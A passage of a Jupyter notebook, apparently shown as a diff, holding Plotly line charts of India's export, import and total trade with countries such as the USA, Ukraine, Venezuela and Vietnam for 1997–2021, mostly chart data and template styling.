"#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[70]]['Year(start)'], y=df[df['Country']==country.index[70]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(70,80):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[70]]['Year(start)'], y=df[df['Country']==country.index[70]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(70,80):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[70]]['Year(start)'], y=df[df['Country']==country.index[70]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(70,80):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "id": "4b469d08-19cf-4e2c-9061-80a7a07f666a", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Export=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 1.96, - 3.7, - 3.32, - 3.77, - 4.89, - 5, - 7.11, - 9.2, - 14.87, - 21.79, - 33.4, - 38.01, - 34.29, - 38.21, - 48.03, - 48.87, - 52.38, - 48.76, - 42.7, - 41.16, - 46.36, - 47.23, - 40.15, - 43.86, - 39.53 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 1.96, - 3.7, - 3.32, - 3.77, - 4.89, - 5, - 7.11, - 9.2, - 14.87, - 21.79, - 33.4, - 38.01, - 34.29, - 38.21, - 48.03, - 48.87, - 52.38, - 48.76, - 42.7, - 41.16, - 46.36, - 47.23, - 40.15, - 43.86, - 39.53 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6735.4, - 7199.59, - 8395.61, - 9305.12, - 8513.34, - 10895.76, - 11490.03, - 13765.75, - 17353.06, - 18863.47, - 20731.34, - 21149.53, - 19535.49, - 25291.91, - 34741.6, - 36155.22, - 39142.1, - 42448.66, - 40336.01, - 42212.27, - 47878.48, - 52406.27, - 53088.77, - 51623.14, - 55786.38 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 44.04, - 44.83, - 39.06, - 45.23, - 55.59, - 65.87, - 87.73, - 75.98, - 92.65, - 107.34, - 153.8, - 217.78, - 206.93, - 292.8, - 435.08, - 465, - 530.62, - 553.93, - 569.94, - 494.48, - 532.26, - 580.08, - 621.52, - 670.32, - 530.02 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 60.69, - 34.39, - 42.36, - 70.8, - 81.05, - 93.7, - 110.27, - 207.73, - 258.19, - 290.08, - 400.04, - 400.7, - 289.03, - 514.28, - 491.22, - 519.79, - 481.25, - 348.91, - 259.11, - 310.16, - 330.1, - 390.8, - 463.81, - 450.97, - 372.23 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 34, - 36.5, - 26.53, - 35.71, - 25.94, - 16.89, - 19.47, - 24.51, - 27.93, - 36.97, - 50.76, - 65.55, - 48.33, - 85.34, - 140.68, - 143.19, - 160.98, - 208.32, - 152.9, - 187.8, - 159.45, - 180.99, - 147.69, - 104.71, - 117.83 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 17.59, - 12.83, - 9.94, - 9.39, - 6.53, - 5.08, - 15.14, - 21.35, - 24.44, - 29.69, - 40.32, - 45.53, - 54.03, - 60.42, - 89.39, - 124.9, - 114.07, - 170.44, - 94.64, - 108.97, - 132.72, - 201.41, - 180.21, - 280.07, - 200.37 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.57, - 0.26, - 0.18, - 6.59, - 0.11, - 0.14, - 0.53, - 1.65, - 1.84, - 2.25, - 2.16, - 4.99, - 2.27, - 2.49, - 2.67, - 3.43, - 2.78, - 1.86, - 2.01, - 2.08, - 2.27, - 1.97, - 2.42, - 2.25, - 2.6 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 22.68, - 26.34, - 23.34, - 42.29, - 55.55, - 40.54, - 21.13, - 71.97, - 94.41, - 126.08, - 142.8, - 184.51, - 183.96, - 176, - 249.72, - 234.14, - 196.96, - 258.07, - 130.65, - 62.22, - 79.21, - 164.77, - 339.71, - 557.1, - 286.21 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 126.6, - 125.43, - 154.37, - 225.9, - 218.17, - 337.39, - 410.43, - 555.96, - 690.68, - 985.69, - 1610.09, - 1738.65, - 1838.95, - 2651.44, - 3719.09, - 3967.37, - 5441.94, - 6257.88, - 5265.99, - 6786.56, - 7813.08, - 6507.38, - 5059.9, - 4999.64, - 5105.88 - ] - }, - { - "mode": "lines", - "name": "VIRGIN IS US", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.12, - 0.32, - 0.51, - 0.79, - 3.2, - 0.97, - 0.92, - 1.55, - 0.63, - 1.58, - 1.14, - 1.33, - 4.21, - 1.33, - 3.72, - 1.43, - 3.9, - 4.83, - 4.23, - 5.33, - 2.88, - 42.5, - 81.4, - 74.97, - 3.54 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0, - 0, - 0, - 0.2, - 0.32, - 0.22, - 1.26, - 3.44, - 3.31, - 5.5, - 12.56, - 25.17, - 15.46, - 18.33, - 28.06, - 27.74, - 22.79, - 22.61, - 18.78, - 13.9, - 18.05, - 18.16, - 18.52, - 18.42, - 22.02 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "REUNION", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0.2, - 0.32, - 0.22, - 1.26, - 3.44, - 3.31, - 5.5, - 12.56, - 25.17, - 15.46, - 18.33, - 28.06, - 27.74, - 22.79, - 22.61, - 18.78, - 13.9, - 18.05, - 18.16, - 18.52, - 18.42, - 22.02 - ] - }, - { - "mode": "lines", - "name": "U S A", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3714.18, - 3640.25, - 3560.22, - 3015, - 3149.62, - 4443.58, - 5034.83, - 7001.35, - 9454.74, - 11738.24, - 21067.24, - 18561.42, - 16973.68, - 20050.72, - 23454.92, - 25204.73, - 22505.08, - 21814.6, - 21781.39, - 22307.44, - 26611.03, - 35549.48, - 35819.87, - 28888.1, - 31344 - ] - }, - { - "mode": "lines", - "name": "UGANDA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.47, - 0.33, - 2.27, - 3.07, - 1.2, - 1.97, - 2.05, - 6.6, - 2.84, - 4.76, - 15.12, - 19.32, - 13.38, - 13.64, - 18.22, - 27.4, - 33.14, - 37.69, - 45.52, - 68.93, - 56.21, - 23.06, - 33.98, - 38.59, - 47.29 - ] - }, - { - "mode": "lines", - "name": "UKRAINE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 179.74, - 135.82, - 152.63, - 130.25, - 166.88, - 194.96, - 235.15, - 538.67, - 792.39, - 996.49, - 883.5, - 1538.13, - 1593.52, - 1418.46, - 2463.71, - 2657.47, - 1804.75, - 2238.99, - 1751.1, - 2481.47, - 2355.97, - 2341.03, - 2060.79, - 2139.86, - 1980.11 - ] - }, - { - "mode": "lines", - "name": "URUGUAY", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 3.12, - 1.9, - 2.04, - 2.89, - 3.52, - 4.66, - 10.22, - 4.05, - 4.04, - 7.29, - 13.14, - 14.73, - 16.04, - 17.32, - 31.43, - 24.41, - 20.42, - 20.35, - 17.71, - 13.45, - 24.98, - 42.96, - 57.24, - 163.59, - 120.22 - ] - }, - { - "mode": "lines", - "name": "UZBEKISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 2.71, - 1.67, - 12.97, - 10.58, - 17.27, - 20.54, - 27.7, - 31.46, - 26.13, - 33.91, - 16.2, - 70.74, - 29.97, - 20.63, - 37.04, - 31.85, - 31.5, - 55.86, - 45.26, - 46.54, - 101.67, - 126.73, - 66.85, - 14.94, - 18.4 - ] - }, - { - "mode": "lines", - "name": "VANUATU REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 7.29, - 29.18, - 0.04, - 4.45, - 13.63, - 0.2, - 48.1, - 9.35, - 1.05, - 6.94, - 2.27, - 0.07, - 0, - 5.37, - 0, - 0.01, - 0.29, - 0, - 0, - 0, - 0.26, - 0.02, - 0 - ] - }, - { - "mode": "lines", - "name": "VENEZUELA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 6.77, - 6.6, - 2.57, - 14.44, - 2.58, - 3.71, - 2.51, - 4.02, - 9.55, - 748.9, - 389.91, - 4217.05, - 2885.76, - 5209.96, - 6666.9, - 14117.67, - 13940.13, - 11729.89, - 5701.81, - 5512.06, - 5866.37, - 7258.95, - 6057.01, - 714.24, - 52.66 - ] - }, - { - "mode": "lines", - "name": "VIETNAM SOC REP", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - 